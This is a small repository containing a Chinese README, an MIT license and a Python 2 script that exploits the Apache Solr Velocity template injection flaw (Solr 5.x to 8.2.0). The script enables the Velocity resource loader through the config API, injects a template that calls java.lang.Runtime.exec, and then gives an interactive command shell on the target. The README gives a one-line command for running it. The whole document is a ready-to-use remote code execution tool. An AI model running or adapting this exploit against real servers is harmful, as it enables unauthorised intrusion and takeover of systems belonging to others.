├── solrce00.png
├── README.md
├── LICENSE
└── solr-rce.py
/solrce00.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theLSA/solr-rce/HEAD/solrce00.png
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | solr-rce:apache solr RCE 漏洞利用工具
2 | ==
3 |
4 | # 概述
5 |
6 | 20191031 网上爆出apache solr velocity模板注入的rce漏洞,该漏洞由国外安全研究员s00py公开,当solr默认插件VelocityResponseWrite中params.resource.loader.enabled参数值为true(默认false),再通过精心构造的get请求即可RCE。
7 |
8 | //如果存在solr未授权访问,可post直接修改params.resource.loader.enabled参数值为true
9 |
10 |
11 | # 影响范围
12 |
13 | apache solr 5.x - 8.2.0 rce (with config api)
14 |
15 | # 快速开始
16 |
17 | pip install requests
18 |
19 | 直接获取cmdshell
20 |
21 | 注:目标ip或域名最后不要有斜杠!
22 |
23 | python solr-rce.py -u "http://1.2.3.4"
24 |
25 | 
26 |
27 | # 反馈
28 |
29 | [issus](https://github.com/theLSA/solr-rce/issues)
30 |
31 | gmail:lsasguge196@gmail.com
32 |
33 | qq:2894400469@qq.com
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2019 LSA
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/solr-rce.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | #Author:LSA
3 | #Description:solr rce via Velocity template
4 | #Date:29101031
5 |
6 |
7 |
8 | import requests
9 | import optparse
10 | import sys
11 | import json
12 | import urllib3
13 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
14 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
15 |
16 | reload(sys)
17 | sys.setdefaultencoding('utf-8')
18 |
19 | def GetPathName(tgtUrl):
20 |
21 | getPathName_url = tgtUrl + "/solr/admin/cores?wt=json"
22 | getPathName_headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3875.120 Safari/537.36", "Referer": tgtUrl + "/solr/", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
23 | rsp0 = requests.get(getPathName_url, headers=getPathName_headers,verify=False)
24 | #print getPathName_headers
25 | pathName = list(json.loads(rsp0.text)['status'])[0]
26 | print 'Select path name [' + pathName + ']'
27 | return pathName
28 |
29 |
30 | def ModifyConfig(tgtUrl,pathName):
31 |
32 | modifyConfig_url = tgtUrl + "/solr/" + pathName + "/config"
33 | modifyConfig_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3875.120 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/json"}
34 |
35 | rsp1 = requests.get(modifyConfig_url,headers=modifyConfig_headers,verify=False)
36 |
37 | solr_resource_loader_enabled = json.loads(rsp1.text)['config']['queryResponseWriter']['velocity']['solr.resource.loader.enabled']
38 | params_resource_loader_enabled = json.loads(rsp1.text)['config']['queryResponseWriter']['velocity']['params.resource.loader.enabled']
39 |
40 | #print solr_resource_loader_enabled
41 | #print params_resource_loader_enabled
42 |
43 | if ((solr_resource_loader_enabled == 'true') and (params_resource_loader_enabled == 'true')):
44 | print 'config already true,start attack directly!'
45 |
46 |
47 | else:
48 | print 'Modify config...'
49 | modifyConfig_json={"update-queryresponsewriter": {"startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true"}}
50 | rsp2 = requests.post(modifyConfig_url, headers=modifyConfig_headers, json=modifyConfig_json)
51 | rsp2status = json.loads(rsp2.text)['responseHeader']['status']
52 | #print rsp2status
53 | if rsp2status == 0:
54 | print 'Modify config success!'
55 | else:
56 | print 'Modify config failed!' + str(rsp2status)
57 | sys.exit()
58 |
59 |
60 | def Attack(tgtUrl,pathName):
61 |
62 | print 'Attacking...'
63 |
64 | attack_url = tgtUrl + "/solr/"+ pathName +"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27echo%205594bf8e87f93172f046278b005e3082%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
65 |
66 |
67 | attack_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3875.120 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
68 | rsp3 = requests.get(attack_url, headers=attack_headers)
69 | #print rsp3.text
70 | if (rsp3.status_code == 200) and ("5594bf8e87f93172f046278b005e3082" in rsp3.text):
71 | print 'Target is vulnerable!!!Enter cmdshell automatically!Type exit to exit.'
72 |
73 |
74 | while True:
75 |
76 | cmd = raw_input("cmd>>> ")
77 | attack_url = tgtUrl + "/solr/"+ pathName +"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+ cmd +"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
78 |
79 | if cmd == 'exit':
80 | break
81 | cmdResult = requests.post(attack_url,headers=attack_headers,verify=False)
82 | print cmdResult.text.encode('utf-8')
83 | else:
84 | print 'Target seem not vulnerable!'
85 | sys.exit()
86 |
87 |
88 | if __name__ == '__main__':
89 | print '''
90 | ****************************************
91 | * solr rce via Velocity template *
92 | * Coded by LSA *
93 | ****************************************
94 | '''
95 |
96 | parser = optparse.OptionParser('python %prog ' + '-h (manual)', version='%prog v1.0')
97 |
98 | parser.add_option('-u', dest='tgtUrl', type='string', help='single url')
99 |
100 | #parser.add_option('-s', dest='timeout', type='int', default=7, help='timeout(seconds)')
101 |
102 | #parser.add_option('-t', dest='threads', type='int', default=5, help='the number of threads')
103 |
104 | (options, args) = parser.parse_args()
105 |
106 | # check = options.check
107 |
108 | tgtUrl = options.tgtUrl
109 | #timeout = options.timeout
110 |
111 | #print tgtUrl
112 | #print timeout
113 |
114 | pathName = GetPathName(tgtUrl)
115 | ModifyConfig(tgtUrl,pathName)
116 | Attack(tgtUrl,pathName)
117 |
118 |
--------------------------------------------------------------------------------